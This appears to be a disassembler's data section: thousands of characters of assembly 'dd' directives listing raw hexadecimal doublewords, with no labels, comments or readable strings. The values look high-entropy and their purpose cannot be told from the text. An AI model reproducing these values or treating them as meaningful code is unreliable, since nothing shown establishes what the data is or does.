dd 0DCE93A00h, 0C9D9969h, 577F00B5h, 589EE8D1h, 2A2530D3h
dd 0C3DC00EEh, 0B910ABh, 0B0C7A8F5h, 62258F5Ch, 81A2D05h
dd 689017FDh, 0B22275C9h, 0C77044h, 6CB71F41h, 849FE0EDh
dd 5644F00h, 65287438h, 7926003Bh, 6D6B2DE2h, 60600D58h
dd 87A87A49h, 0F7570078h, 0AFCD5EEBh, 0D00722Bh, 0C77CA463h
dd 14D0C08h, 0B7EA4241h, 706DE5E1h, 13702134h, 0BD08590Eh
dd 0D9934723h, 0CBE3604Eh, 5849F15Ch, 0BE39A80Ch, 217107F0h
dd 0E96B9476h, 45003052h, 3A80D09Bh, 2685335h, 1E49ECBBh
dd 44562416h, 1162B282h, 37C5C0Dh, 156E1207h, 1FED01DDh
dd 40B076ADh, 7EA88498h, 0ED2D5213h, 35E2004h, 0B081F685h
dd 1838955Bh, 3EB92B0Bh, 3B5CF080h, 0D205C076h, 0E4C611Bh
dd 0F8A09C83h, 3C51FA65h, 20384F0h, 0D480A8AEh, 249AE3B8h
dd 0E351D18h, 0BC207AD8h, 8AA07B4h, 7C7EE005h, 19009FF3h
dd 80CCEEC6h, 99213Ch, 0CF1861F7h, 729DFB2h, 0C86C0C00h
dd 9ED4BD91h, 3FEA0376h, 0AD492C85h, 1EA3D818h, 13BA3DDAh
dd 83F4A0h, 0E09B8909h, 0A800941Ch, 5DEB68C9h, 0CCB133h
dd 9575ABBBh, 0C15506CAh, 1EAA143Fh, 0A0004CA2h, 0F1EFF7Ah
dd 3B86FC81h, 0FBAEF193h, 3CF40757h, 0A9A7C04Fh, 0DF039F5Eh
dd 2F4A0F16h, 56E9B018h, 0BD100093h, 74C15C4Fh, 4901EEBBh
dd 2BFCC4DEh, 6C80DF31h, 212915FEh, 4F00BE45h, 0DACAB063h
dd 9DDB3h, 0D369663Bh, 72BAF220h, 837DF1Eh, 0AE9D80FAh
dd 418BC7A9h, 74360024h, 424973E6h, 0C1008DA5h, 3F76D187h
dd 368FFA0h, 7DDB1D3Dh, 83F054C8h, 0CB0FB98Ah, 25F33801h
dd 6180B394h, 19E2A63h, 5DD4E1EBh, 0DC38A377h, 9806CE39h
dd 0A78AD6Fh, 237F72h
dd 2A60C93h, 0C1C8908Eh, 8A13117Bh, 6403C7Ch, 45C90970h
dd 31010CD8h, 0EB20E6D0h, 59A43F07h, 30975A93h, 0FC68DBD0h
dd 185B1CA6h, 0B769807Bh, 40D9FD70h, 1D1FC1F0h, 6CC0DA8Bh
dd 88122B7Eh, 0AF2700E4h, 4BC9D9F0h, 892E3AC2h, 0CD036F5Eh
dd 72460685h, 1240E61h, 0D1E05B88h, 77AF18Eh, 0F5002973h
dd 0DE441B56h, 388FBF9h, 6C75C614h, 8A2EE781h, 33CC62Eh
dd 4CD6C7EAh, 400FA061h, 93A41E97h, 0E39CAFh, 9487AB48h
dd 1A0F3AEFh, 3BC1DEBh, 994A6A66h, 0ED600867h, 40E00F3h
dd 0E891F6BEh, 6C000BDFh, 246F7A72h, 0FAC19BCh, 0C8FB8F86h
dd 3A1C7060h, 0CA39F4AFh, 2A4D809Dh, 0C0A984F3h, 3CFF0011h
dd 8A25E48Fh, 9A0F38F8h, 0C0875E72h, 0E348440Dh, 29300F68h
dd 65E0B846h, 0DA90C46Ah, 0E6B98600h, 2BDCDE2Eh, 695A00A7h
dd 2A5046C7h, 650E88A2h, 60E15176h, 0A7972EF5h, 0A990F8h
dd 0EFF185Eh, 2CC6CCCFh, 8B690A00h, 6FD516FCh, 7210002Bh
dd 0E351F073h, 0FF2CDEAAh, 7900B576h, 4A390C43h, 34190378h
dd 0DF378356h, 0B32CD9E0h, 3D6D2D03h, 0E86356Eh, 48744628h
dd 0F014A040h, 62CFAB0h, 531CF554h, 0D0BE4E8Ah, 711C6500h
dd 928E1617h, 5A800040h, 0D1FEC1F8h, 25007066h, 0A0B8D686h
dd 150D3EBh, 0A7597B78h, 0DCC8CA60h, 79004C12h, 361A9AB6h
dd 0A05D0B51h, 0D7DED0h, 7EF4EC2Ch, 9CEA39F2h, 71E43FEh
dd 28C0BBC0h, 0A6A29AF9h, 0D0E500ABh, 40DF91C1h, 43000B71h
dd 65D9CD42h, 75376C09h, 0B3A0006Dh, 8A74C6CBh, 8800E4D3h
dd 8DF328A1h, 40827DF7h, 47007B18h, 7A9D12D6h, 736E79C1h
dd 0FA5C00C9h, 7F9EBD5Ah, 3B266404h, 1D00122Fh, 0DBD677F2h
dd 30F0029Ah, 8A22787Bh, 5DEF4160h, 0BA4EC515h, 2E7100FCh
dd 28E3FF05h, 0A1E10096h, 59C2C6F4h, 0C130E690h, 58DD28B9h
dd 221C0325h, 7D3C487Ah, 802A41A1h, 0D57266A8h, 97725D7h
dd 9DBF815Bh, 627C1C80h, 0DEC4C48h, 0FEEAE00h, 0E5DF7057h
dd 0ECF80090h, 0FB0B81ABh, 301E6DC3h, 78E41145h, 89952F07h
dd 0BB4B4230h, 0C9D108D5h, 7700CCFEh, 3EE04914h, 808C03BEh
dd 0F8858B89h, 68DF2D98h, 763A0300h, 0FEAFAA1Fh, 89D400E2h
dd 18B9FDB4h, 230698D2h, 5790720Eh, 0EADE03DAh, 33D1568Ch
dd 0AFD2F0A0h, 6F0037EEh, 8823AA54h, 0FB03F5h, 0EE64D7BDh
dd 426C0EC9h, 1FCCDD18h, 0E6391Ah, 0DC6510D4h, 978DABD2h
dd 0B53CAC7Dh, 0DA7E00E3h, 0D6308C21h, 28770082h, 4E7FEA59h
dd 0F2006710h, 0ACAF7D2Ch, 5CE211C9h, 0EC00C4CBh, 0F8FE85Dh
dd 4031CD8h, 59B03748h, 0AD38381Eh, 39F9E100h, 82DAE8F2h
dd 10E6A333h, 0B5F03FF4h, 95C77E00h, 0EBC56315h, 678FD000h
dd 43EA8A51h, 2E6A00C8h, 382D4840h, 6C003787h, 177D8BD7h
dd 9AA2FB9h, 72D5CC4Ch, 0FB901803h, 36F6F288h, 549172Ch
dd 0FD7CF03h, 0D0CD900Ch, 0C647E710h, 56A55820h, 67CF0026h
dd 255A0E60h, 6F122973h, 8C00E37Ah, 0A99308EAh, 1F4B028Bh
dd 0BA587879h, 0C0F1E3D5h, 0F5D6940h, 9BB93F16h, 4C29009Dh
dd 0FFD7314Bh, 12EE1402h, 407D2306h, 975F48h, 50E67FE7h
dd 0C6641674h, 8F0FE901h, 0D41946AFh, 0F0A4E0EAh, 0B79B0057h
dd 0D27D1144h, 3D00C6EEh, 892D39CDh, 14E3EDEh, 3426BB81h
dd 0ECA0B971h, 0BF00A1A6h, 805E565Ch, 3B5E3C1h, 783F3B4Dh
dd 4BE994F4h, 8800F78Fh, 5BCEEF73h, 0B18821h, 0DA74FD7Ch
dd 1EDF1D04h, 242E403Dh, 3B0041CDh, 792C1C73h, 0B220401h
dd 0C05AC2CCh, 0F1BE9304h, 6B1836E2h, 77283D59h, 37250E3Fh
dd 6CE88151h, 36A2000h, 0EAD13Dh, 7DABFE78h, 0C6558E91h
dd 8101B890h, 23D8D4ECh, 0C03014F8h, 0F3D50246h, 6B3D4406h
dd 92155868h, 6D70BD00h, 7F6A99ADh, 485D7077h, 0EF07B00Dh
dd 0B1B4E6ABh, 700AB1F3h, 5500A0BEh, 71F14957h, 6BA49296h
dd 98005245h, 7832DCD4h, 0CBFEF600h, 9E79414Ah, 248EEAD7h
dd 0B42B59h, 5BA4BF14h, 0EE483812h, 0FADA0039h, 0A3104971h
dd 41CF01F7h, 0F2973969h, 986C64CDh, 388BED00h, 75DE2724h
dd 9168016Fh, 3FF3AED7h, 88B4FCFEh, 4715A81Ch, 0CCB83647h
dd 692F5400h, 24E14C01h, 0ACFE0774h, 8323F0D9h, 75887112h
dd 0FAF01036h, 7D85DA01h, 0DBA98FFDh, 0E0A6A995h, 64AA8203h
dd 4800DEB6h, 40C6C984h, 1F00910h, 0C1B3A8A7h, 8107A4FBh
dd 5A2A0690h, 0E7E85E47h, 4EEC0012h, 0CDB78BC1h, 98C346DDh
dd 0C0B9742Eh, 11A6BBEh, 972C43C7h, 50CF99B5h, 0A3F6BDCCh
dd 0B600D49Ah, 0C7F4C3B1h, 0FEDA6h, 0B883FD4Eh, 9CF6D4A3h
dd 6F5799C0h, 0BB7BF03h, 2E49294Eh, 44C018AFh, 0B63DA333h
dd 813C2038h, 13B4D4B9h, 0B3D8472Dh, 8D69C00Fh, 0D3CAD6BCh
dd 295CD501h, 0B065260Ah, 6784060h, 32A7047Dh, 0D50010A9h
dd 56FA3A69h, 0FD5A589Fh, 0BDAF030h, 0F999FF22h, 0A754BC21h
dd 0E00065C5h, 5D18AABAh, 7D71A0E3h, 0DE2901ACh, 837A4931h
dd 7B4CD00Ah, 9CBF2500h, 74C13E6Eh, 0FA5D1FEDh, 0F1168560h
dd 0C03DC4BAh, 0E79B28BCh, 14FEF58h, 4DC427F6h, 0ACD84287h
dd 3C3B0033h, 4373418Dh, 2059C4Fh, 0C8471F7Fh, 0B9F65490h
dd 3C530238h, 0BF4D51Bh, 52B340E0h, 4C459000h, 0C600509h
dd 0C19600CEh, 35184D8Fh, 0DE002F2Bh, 7B12CF0Dh, 0DDFDEDh
dd 0A743571Ah, 0F113B28Ch, 875A4824h, 6C125500h, 0F2FEBC23h
dd 0A6E104D0h, 83438CC2h, 88F8C52Bh, 0FAF41B0Dh, 61333200h
dd 450C9DFFh, 0C998A09Fh, 0AB2F1F1Dh, 87D1879Eh, 3735124Ch
dd 0F5810860h, 18A85400h, 0CA9BA21Dh, 75562C86h, 0D7B90648h
dd 0C0002916h, 8ADF8884h, 12114B5h, 4611DA65h, 2079DE04h
dd 4A006C34h, 0A157D733h, 924097A4h, 3B3600E4h, 2A5CE61Bh
dd 7548F204h, 0A7390084h, 6053408Fh, 0E217282Ch, 59C63EECh
dd 40DE8B9Eh, 0D3278D96h, 484931A7h, 0C8A8B9Ch, 2B5E6DEh
dd 66EA4B6Fh, 7C41DF54h, 50E371D8h, 17A39CD4h, 0C70194F4h
dd 825610ADh, 46218E8Dh, 2FDE9C0h, 2DF7F0BDh, 0D360EA1Bh
dd 0F20C859Eh, 91E84BADh, 26EC9070h, 7186693h, 53F053Ah
dd 7A313BBh, 316345E6h, 50DB0444h, 21373184h, 0F63B3CECh
dd 0D4A00746h, 208F1F1Dh, 2ABE8AC5h, 0F4A900A5h, 8881CC87h
dd 6D02F2AEh, 67496664h, 82C4C871h, 0A5443170h, 21F60791h
dd 2E44BCh, 358BC6ACh, 0D7010C19h, 0CC6B2010h, 0F88025DEh
dd 87F01D32h, 8B007CA2h, 3613AB8Dh, 8AE15h, 69897D3Eh
dd 0F62A0E55h, 67BB8600h, 0CB519845h, 0BAC00A5h, 6EF33328h
dd 690044DDh, 1C38BB2Bh, 0E5BC9A9h, 9CE5146Ch, 9D182E4Ch
dd 0D34027h, 483D642Ch, 166DF2D8h, 0BACCA972h, 89B62500h
dd 0BECDE83h, 4BF05266h, 7CB12C29h, 0EEE710CBh, 0C3DC189Ah
dd 599F10B5h, 56256800h, 0F5B29C3Bh, 47722CA3h, 122C0082h
dd 988470E1h, 4AB4A38h, 547E2A14h, 36CBCC80h, 0F20F011Bh
dd 0E95B7709h, 0BE882418h, 0CD494409h, 0A06C8BD9h, 99D0D698h
dd 0AF5C00E7h, 0D56F664Ch, 0A202685Fh, 1118FF07h, 0A31140E3h
dd 3F4C2601h, 0C5AF83A7h, 4858DBDDh, 2403712Fh, 0C7F3A083h
dd 16139878h, 0BFAA0B15h, 348E47B2h, 0F7C2809Dh, 7C7932D0h
dd 0DA766098h, 761E89F0h, 0B21824CCh, 174917Ch, 0EA696B40h
dd 60892E55h, 887F5BDDh, 0CDBF821Fh, 6012A84Eh, 92A69ECCh
dd 1C790097h, 4C9DBA8Ah
dd 0CD00ECFEh, 5F25DCC5h, 91A999h, 7CF92B63h, 699AE9BFh
dd 949673EAh, 7B6E4400h, 370421h, 8F8430EBh, 85BE83AAh
dd 0C4FC5700h, 0C0D76342h, 512300AEh, 2A736410h, 0BF04EBB6h
dd 0FEDF6D79h, 4E5CF0h, 0A3C6FC52h, 1D6980EEh, 0F5ED4700h
dd 61DF3BB8h, 0A7480344h, 0E81A3A9Bh, 0E64670A7h, 0DA00E162h
dd 5B76CC7Bh, 0FEBF70C7h, 900B0911h, 0B480DD77h, 5AC44FBEh
dd 5F27B805h, 0D8C04515h, 0FCB2EAAEh, 0A0F8009Dh, 0AB9B8AD1h
dd 0B400A7CAh, 198D72B1h, 0E2BB27h, 2F1B1C4Ch, 65410F8Eh
dd 0D318BF00h, 0CF0E3AABh, 7C930233h, 0BCE8D9FEh, 0ACAFE848h
dd 34E459h, 0AE56A68h, 48DE25FFh, 0E033457h, 0E73685C6h
dd 878DC5A8h, 0E4D3B809h, 444420BCh, 4470F29Eh, 0F02098B6h
dd 0F257779Dh, 0A9B80CEBh, 847133BDh, 8F88AE04h, 6E80A499h
dd 1E705C4h, 187669E6h, 838E52A3h, 8679F128h, 3793F0CFh
dd 0D84300C5h, 822FA571h, 2709E2EDh, 8012BDAEh, 0E78D66E5h
dd 0A0FA00C8h, 18303FF2h, 0D090A67Bh, 2167D600h, 0A90F0435h
dd 0CA5A00D1h, 0FCB591CBh, 6878707Ch, 7D7F6F00h, 9F892FD2h
dd 0DAA00D4h, 9383E3E9h, 6E091ED8h, 205ECE22h, 5DCCAFB0h
dd 0ED2C4C2Bh, 81802100h, 0C70CD2BEh, 8D5A3B00h, 0B64044D1h
dd 50F03D4h, 64E3A39Bh, 38EB16D0h, 21EE99F2h, 9A30620Eh
dd 0CCB520F4h, 0C08A32h, 4593EFD8h, 4D18CEB2h, 0A928F77Ah
dd 961DA459h, 1E4039C2h, 7BFED578h, 0B88600E8h, 71AEFFAh
dd 0CE02BF99h, 87CCE2BCh, 56C78F0h, 0E0E8BA59h, 0F2E00EE6h
dd 88DFC220h, 0B7009BC7h, 18A174C6h, 0CBF8B9h, 6A2999E7h
dd 9BCC5448h, 94B8A42Ch, 5CCEEE00h, 0E9EAC5h, 3915DD74h
dd 0A8796317h, 13B080Fh, 0BFE660BCh, 2424446Ah, 7942A74h
dd 7723E1C2h, 9DF9D038h, 0DF00F3EFh, 90463D10h, 0D1D68Ah
dd 71990FD7h, 0DBAE4F01h, 64C64400h, 29A0C560h, 2C17007Ch
dd 0E722BF94h, 0E288F002h, 77813EEh, 60B002F1h, 850D891h
dd 0CD4DE900h, 3413CE04h, 818A1DF0h, 9000E511h, 0D4D5AD38h
dd 5B7AFA02h, 80E4F320h, 0FDB787CDh, 0EC971CEh, 19DFF740h
dd 3C06F140h, 18075915h, 0AA0EB24Bh, 3A4C02F0h, 86050289h
dd 0BBB3E057h, 2200D472h, 322AEC7Eh, 5520B6h, 4C2E0966h
dd 0BB0DFA81h, 4F1A1400h, 0FEFF6933h, 782F0CCh, 790E417Eh
dd 0D50C00C4h, 0AB00B5EFh, 0F5EEE188h, 7DE619DDh, 0F9DC00C1h
dd 386AE31Fh, 9B27F8B2h, 0C65C80E1h, 42F2ACh, 57F64809h
dd 33FAA998h, 76296B00h, 0F53BC98Ch, 53770Bh, 3AD2B4A8h
dd 0BF7139EFh, 0DA954800h, 6D15CACDh, 8A0D0543h, 0C3C7C085h
dd 9FC0FD36h, 0FB2CD5CBh, 89806C10h, 48B22EA3h, 0BA7A00F2h
dd 2233E170h, 0A206FFA8h, 2EAF975Fh, 27A90099h, 1D516D10h
dd 310E55A8h, 78D9BC22h, 0F8295720h, 0C91E0059h, 101A67DBh
dd 0A700974Ah, 2ACE7B1Ch, 3A693A2h, 70C2A020h, 0F0A76971h
dd 5C07D2FBh, 0F501BB90h, 3FDFF240h, 482CD9D3h, 227EB500h
dd 0C26E1F5Dh, 285488C0h, 7D2CCCh, 0BD93F5F3h, 0A46F72DEh
dd 1B07B3Eh, 0EC42AED8h, 9AE8FC28h, 0DED00A9h, 0BC7E29FEh
dd 0B91D1CF9h, 8C4CB4CDh, 41807h, 7E727693h, 3B5AB51Ah
dd 0F0442F2Dh, 5120C147h, 8953D0BCh, 0FC4391h, 1A4923ECh
dd 35CF0001h, 0F3A8EE0Fh, 2460AAC3h, 38D55318h, 0F640CF4Fh
dd 0F16484Fh, 420104D5h, 8537F2CAh, 3D25C670h, 6191C820h
dd 5C5539ECh, 0F1BD4298h, 21C6173Ah, 0E689C4BCh, 51AD60E5h
dd 99B5590Fh, 0D1471930h, 0EE1209C3h, 0A7F1141Ah, 420F205Dh
dd 0D623446h, 0ECA02952h, 0C56DB4D4h, 0DCB8D779h, 98FC7F30h
dd 24341AFh, 0A4BFE1E7h, 608099B3h, 347F3D19h, 0D2FED03h
dd 0D20A5B5Fh, 0E618E0BEh, 0A446038Fh, 9E05B7D3h, 0DB7FDFA0h
dd 7C2B0100h, 4C9623AFh, 980D00F3h, 8136A61Fh, 0E200B33Ah
dd 0C51AE78Fh, 0F47339h, 76A511E1h, 5EBA8434h, 0F855D300h
dd 0ED64E0F0h, 82275CFBh, 311B72Eh, 171C9559h, 0A60497B8h
dd 0AC960900h, 0C4B6BFE5h, 0A82879D9h, 197480h, 189F1768h
dd 1097C20Bh, 216C08CCh, 68010049h, 25C9ECAAh, 51149F58h
dd 0C84D55h, 0ACDD2E24h, 0A04421A9h, 1A2F5B4h, 17DB54C4h
dd 51B34F2Fh, 0C4AF21D8h, 580607DDh, 53402BF2h, 214C6008h
dd 0E2AFA780h, 4D022C00h, 0AB93E5BDh, 7B8D14A9h, 5999CCFEh
dd 7BA11801h, 0A80710AFh, 62DFF0h, 0B5B15982h, 68527B5Fh
dd 3B42AF00h, 16AA810Ch, 4A2D0A74h, 0B88CECD3h, 684E02C6h
dd 31109F0Eh, 1620176Fh, 7715F968h, 0DDCB0067h, 3DFAFDC4h
dd 8750243Ch, 0A8247390h, 0E9084417h, 0D40A0F1Fh, 7B59BE40h
dd 6A006478h, 3095AE33h, 3AB9150h, 2B0C34B5h, 0A2E906D5h
dd 0C4E240D7h, 157C9AE1h, 79C6D61Fh, 24B53EC0h, 1761A29Eh
dd 0AACCE04Dh, 678C1800h, 1EDAF779h, 5BAE98h, 0B5EB1469h
dd 4F7E7DF4h, 478D628h, 0D8712C18h, 66110h, 6973B59Ch
dd 552F8D04h, 321D117Ch, 0B3DE5D93h, 601A8B82h, 0F8148416h
dd 122BC821h, 6C9A10A7h, 840CB040h, 8B106642h, 73860082h
dd 0A0D9DF89h, 1F191E2Ah, 68A80F24h, 0B53429A0h, 0FE00CB3Eh
dd 0FD3E7F0h, 779B8BAh, 0F937F3FBh, 78B56156h, 0C6CDD4A1h
dd 31005C79h, 0B3F1D60Eh, 3060F5A0h, 0D0F07A34h, 0DB0028F2h
dd 30385451h, 1C9E9D66h, 64A5D7h, 0C85C40F7h, 2FECFD6Dh
dd 14EDEA00h, 0B9A551F3h, 0F41300CBh, 0C8D998BAh, 24B033D6h
dd 0EDDC7E07h, 4510D26Ah, 980CE2h, 0A6B19CA1h, 0C0B73A80h
dd 0F9655028h, 9B02F100h, 0B84E2AB0h, 270D04ECh, 905B6EF6h
dd 2915AFFCh, 0C6784000h, 0CF653EA3h, 6EB8C082h, 0FB929962h
dd 0CA6B1B00h, 0F1D3B3D4h, 0D8C200E0h, 0EF95611Dh, 58071247h
dd 53F6186Eh, 26798970h, 0FA4F0023h, 355751DDh, 0A975C276h
dd 1115B300h, 0CA41309Ch, 3EB11FDCh, 2B2A0338h, 10906DECh
dd 321F73B9h, 0A180C263h, 2E8482B7h, 7B3628BDh, 3F2F0180h
dd 0E3C7919Fh, 4CF8E34Bh, 0DA0647D3h, 0EB8A7082h, 383A07F4h
dd 8076067Fh, 75F6077Dh, 9712D500h, 0F73EBB85h, 0A14900E4h
dd 1D3BC8FAh, 0B94823E5h, 4FBF0704h, 70C07AD8h, 58EFD0A2h
dd 0A70ABDE6h, 8C7518h, 0C590ABBDh, 0D8044B07h, 6FB8160Bh
dd 3DA2C0EFh, 0FEF66766h, 1CDC2E05h, 52802FC0h, 0FAB077h
dd 2C06FFADh, 0A490BEE0h, 0C7070579h, 27A89CCAh, 5C521040h
dd 2C07004Dh, 98C997C6h, 0DB0082DEh, 9066AD35h, 1D27E760h
dd 6A40B5h, 824533E0h, 7C26DC38h, 2E00D6B4h, 0F1A99DB1h
dd 149503E2h, 980B9A31h, 0E56E84F8h, 0CFBDD919h, 9460C628h
dd 6C8903F1h, 0FC061BEAh, 34E12390h, 0E80055FEh, 0B080C624h
dd 7FF3B47h, 9260E022h, 0F9E38061h, 4A0042DBh, 0FD575A66h
dd 0F63AB7h, 5DBA6BF5h, 263D5B41h, 0B5781DECh, 0E9044800h
dd 22CED486h, 0B2570110h, 0F771C378h, 9353D07Fh, 92A0A91Ch
dd 7BF28A40h, 0B707D6A4h, 836E2740h, 0DA7ADC24h, 0C5263400h
dd 4C33B8B1h, 8B00CFF6h, 0B674CABh, 0A3044766h, 0D37406D1h
dd 7FEB38D0h, 7F3008Dh, 835DFEACh, 9C007BD8h, 282D429Ah
dd 38CF32E8h, 0FDFBF2h, 3F8C0F33h, 0D3A3486h, 0A9820A00h
dd 2128922Ch, 0CA6E09B4h, 0F400E6DDh, 0F6C9CCBFh, 0A0884001h
dd 0E1FDAF4Dh, 146FB9F4h, 0AD8ED5DBh, 0C9C8D400h, 7F29DAA0h
dd 48E69D00h, 0E5AB494Bh
dd 0AA755Eh, 0C0F277CAh, 0F0C2A58Ah, 0CC99F428h, 3E825800h
dd 166BCB42h, 0C97801C1h, 6D9B519h, 1D04C494h, 5823C600h
dd 0F3A373ABh, 3A77867h, 0DA6C55F5h, 84E88857h, 8E00EA30h
dd 84C1EBCh, 0D3533h, 71C048AAh, 9D540F1h, 7F00ECFAh, 4768B5B4h
dd 0F7B90Fh, 5E554175h, 0F88BE50Eh, 71422800h, 65DCCE25h
dd 20F70047h, 26DAC8A4h, 24E12B51h, 1D038D90h, 0B21781EDh
dd 47E68093h, 62E91F33h, 0F4968FBDh, 4D1F3500h, 557DBBCDh
dd 983AAB31h, 5CFC64DEh, 1E8783Fh, 1A5DE6D7h, 20AB6D5Ah
dd 8D20A090h, 0C21B070Ch, 0C0E2821Ch, 7CBE750Fh, 0DCCBC501h
dd 5AB9AD9h, 6560BC40h, 37A00FA6h, 0DE407835h, 0B54C4BB9h
dd 107AF324h, 56430602h, 387260D5h, 3A4230D2h, 87336128h
dd 0F017CD09h, 518500A9h, 29143Dh, 0EBF73501h, 442F15FBh
dd 23531F0Fh, 4680A224h, 0F083E05Eh, 1900061h, 1BB32203h
dd 16008B5Dh, 0C11A4BCh, 13D17Eh, 0FCB49A5Bh, 0A9FD07D8h
dd 1AB01F2Ch, 2063E400h, 0D4130Dh, 0A87AF587h, 98BD9C89h
dd 9ED03F01h, 53942A4Ah, 0FC03F4h, 74256665h, 51E43063h
dd 0E78EAA00h, 0E220A152h, 0EDF126EFh, 0CCC998E8h, 9400A242h
dd 0F5225D7Fh, 0AE13C0h, 3624CAFh, 8149DA25h, 91725900h
dd 0CA6B7EAh, 50190016h, 85BAC8F3h, 130E4224h, 6A661E01h
dd 9404CCAAh, 0B6607AC1h, 440074B9h, 7FCA6189h, 0F1135D7h
dd 6BA48ABFh, 0EBCED5C2h, 3AFC3060h, 0ED6F4B00h, 84DF804Dh
dd 16B70015h, 40B00850h, 10C30B4h, 102DEB0Fh, 0E43600FEh
dd 5DD8D752h, 0A50716C0h, 0F7110C68h, 2785B9E0h, 18DFA2Eh
dd 7CEB6B60h, 0F83DF1F8h, 74009A90h, 0C81FD987h, 3EFE60Eh
dd 46DA669Fh, 0E49BB901h, 0EA6794A8h, 5700A57Ch, 0FD3C40A2h
dd 0CF51E57Bh, 650FA870h, 0A36BC287h, 0F5880C20h, 0DB07AAB5h
dd 83A8AF5Fh, 0B71071D3h, 88410780h, 17CBAADh, 26CD109h
dd 200A6DE3h, 8B00B488h, 0C50EED9h, 60E4431Dh, 3C19349Ah
dd 0F90035CCh, 59564C63h, 0B42D6h, 80645A0Ch, 265F4453h
dd 0C0D7E228h, 2B06D408h, 45E74Ch, 960CF95Ch, 3F039D01h
dd 98F5352Dh, 340860h, 0F9BE94B6h, 76118159h, 0C44F41Ch
dd 0D92D2E05h, 0D26543C0h, 0F234B069h, 11372B3h, 435A36Bh
dd 0D0605F22h, 0E500BBBEh, 0DC931D6h, 5BFB7h, 5B9D9395h
dd 3DE6E467h, 56003498h, 0D4EA41F5h, 26859EAAh, 0A242751h
dd 20B3EF72h, 71DF7180h, 0D8E84Ch, 915636ADh, 99C45305h
dd 8028963Bh, 0EB440783h, 0FAFA9DCEh, 1F8D0081h, 95C641D7h
dd 560006DEh, 997ECC5Bh, 74FE4630h, 33EE0503h, 0C147022Bh
dd 8EDC4B78h, 60AB0960h, 0BFC12DF2h, 9D414848h, 50000A25h
dd 0E1DFCEE2h, 54BC9D00h, 0D9F1177h, 36B0C4h, 0A03D38BFh
dd 0FF68D233h, 515ECC00h, 0A2D3CDBBh, 5450010Fh, 526BC2Eh
dd 0D0C830F0h, 0C6679B03h, 0F1AB98F2h, 0E072D9F9h, 18E92419h
dd 848A803Ah, 9F479602h, 100B58E3h, 1110B800h, 0B6273DECh
dd 0CC854B00h, 0E84634DCh, 47FA06DAh, 19118F0Eh, 7F285A00h
dd 0BDB7809Fh, 9CEF0061h, 3E462926h, 8B26B1C3h, 0EE00D4B8h
dd 3287D89Fh, 21150059h, 3D8CB716h, 52003C3Ah, 75FE6CFCh
dd 2D298ED6h, 32F49732h, 40AD9000h, 8FB7C0h, 0D8A1CBEEh
dd 0FF702775h, 0D41E891Eh, 0FA56D700h, 1AC8673h, 6651E39Bh
dd 0D8992029h, 0E8009155h, 0F1133A80h, 619F0Ch, 74D8D316h
dd 0A357A189h, 540A2400h, 0C3B3787h, 95820A09h, 80CC467Ch
dd 6673AC9h, 52031718h, 0D7A59A75h, 5A6FC109h, 0EED020h
dd 2512F2D0h, 0A6898F5Eh, 0EFAD800h, 0B07B5A26h, 0D3900A3h
dd 42837C09h, 700A8ACh, 32C04F7Ah, 60E0D796h, 94DA113Eh
dd 7B0BC2F2h, 0AC740FFAh, 0F675DC28h, 0BE2D002Bh, 0F222E3C9h
dd 20CC613Dh, 3D3810CCh, 9709693Fh, 7204DDC4h, 1F21C08Ah
dd 4C3E8EE4h, 5D2500A5h, 9DA157CBh, 1F53985Eh, 80DC8070h
dd 8E511217h, 904C2B97h, 4035002Ch, 0CC757AFAh, 8B2D513Bh
dd 19A542E8h, 205C8B6Bh, 0FCC0856Eh, 0C49302FAh, 2E2990D6h
dd 6C780047h, 0DB51F465h, 0C80F0305h, 800D7A4Bh, 5456F12Fh
dd 4D300085h, 0BC96AF16h, 9500473Eh, 0E044B631h, 9D717E5h
dd 8D513AA5h, 43830500h, 0CD000B8Bh, 6E1C0CB9h, 71C873h
dd 0D6BCE3A8h, 0D0CA7D51h, 0C3D5EE00h, 5F814FC2h, 9FF70021h
dd 8802393Ch, 0CC00C6A3h, 1EB1F2E5h, 1020A2h, 583C4E13h
dd 0E80371E4h, 606DD42Eh, 3696AE07h, 1A3AEE20h, 1D490752h
dd 8069A332h, 0CAC44019h, 98022800h, 0F4E20C7Dh, 734D3EC6h
dd 2DDF5600h, 12240145h, 0C8CAC002h, 60867F3Fh, 7D3466Eh
dd 14C0317h, 0F220C1FAh, 99144111h, 51002EB7h, 50DA8433h
dd 675700CFh, 0ACF5829Fh, 5C30C018h, 11CA08C6h, 0FCDEF0ADh
dd 42B0009Fh, 9B74361Eh, 0D107D83Ah, 65FFAF8Eh, 0E63729D0h
dd 80F60043h, 2F8C7FABh, 5967AC06h, 61D0FB49h, 0BD7CF0h
dd 1A016AD3h, 0D07FA170h, 1671200Eh, 3AC19DE1h, 0FCE6A088h
dd 1127E0E7h, 8F98D9h, 244EE231h, 76CF214Ch, 8D59C465h
dd 0F0D8D386h, 0C2720003h, 784258EFh, 4E18D0D4h, 4A281F8Fh
dd 458C0F4Dh, 462004C5h, 0FF731830h, 0AC9F4E0Fh, 0DE18088h
dd 1CCC043h, 1DC88251h, 93BC3C25h, 45062868h, 711E9BAh
dd 4FD15F42h, 0FCF209Ch, 0FD0E775Ah, 60727A45h, 4C8DF9A9h
dd 0DDEAD7h, 639FC08Eh, 0BC8923AAh, 22C45100h, 0B2315F8Ch
dd 0E27D076Ch, 0E0432C82h, 0B9DFF6E3h, 553EFF7Ah, 798400CAh
dd 72228889h, 9693009Bh, 0EB8FC269h, 0E1004D1Fh, 0D7515745h
dd 0C481A384h, 978729h, 0E876CD46h, 0A5021EEBh, 0C0CEDE71h
dd 0D22FEEFDh, 90EC090Ah, 8D00E9FCh, 77FC827Eh, 3ED4869Eh
dd 578019F6h, 0A0E32EB7h, 3B7E2885h, 0E615E100h, 0E8C72BA9h
dd 0E0E4EC3Dh, 0E9AD001Eh, 0CC1BF7D1h, 39014361h, 0E8BD381Ah
dd 0AFC855B0h, 26CA00ADh, 0E32B28EDh, 0B6E00993h, 117D400h
dd 3E0D5A08h, 3E2B8BAh, 0DF2EEE1Ah, 980403Fh, 5EE0E2D4h
dd 327B4700h, 65C6EDAEh, 34A10318h, 0DF8BC353h, 0A46C1003h
dd 98F87943h, 28AAB321h, 1AC9C64h, 8A1E312Fh, 0D01B60D6h
dd 87005BBCh, 0DB4A817h, 0B7F2936h, 2112FBFCh, 6809E580h
dd 0D3005B46h, 3C800C11h, 60D4752Fh, 0A3332618h, 90047DEh
dd 127B4972h, 14483C4h, 582718A7h, 0E0EECDB8h, 810F4C36h
dd 60EA4D01h, 0D342C28Dh, 0B05B00D4h, 9CFCDAF1h, 0FCA02A21h
dd 6124A663h, 0EA0ED35Dh, 80D10BDBh, 4086C05Dh, 0F771383Fh
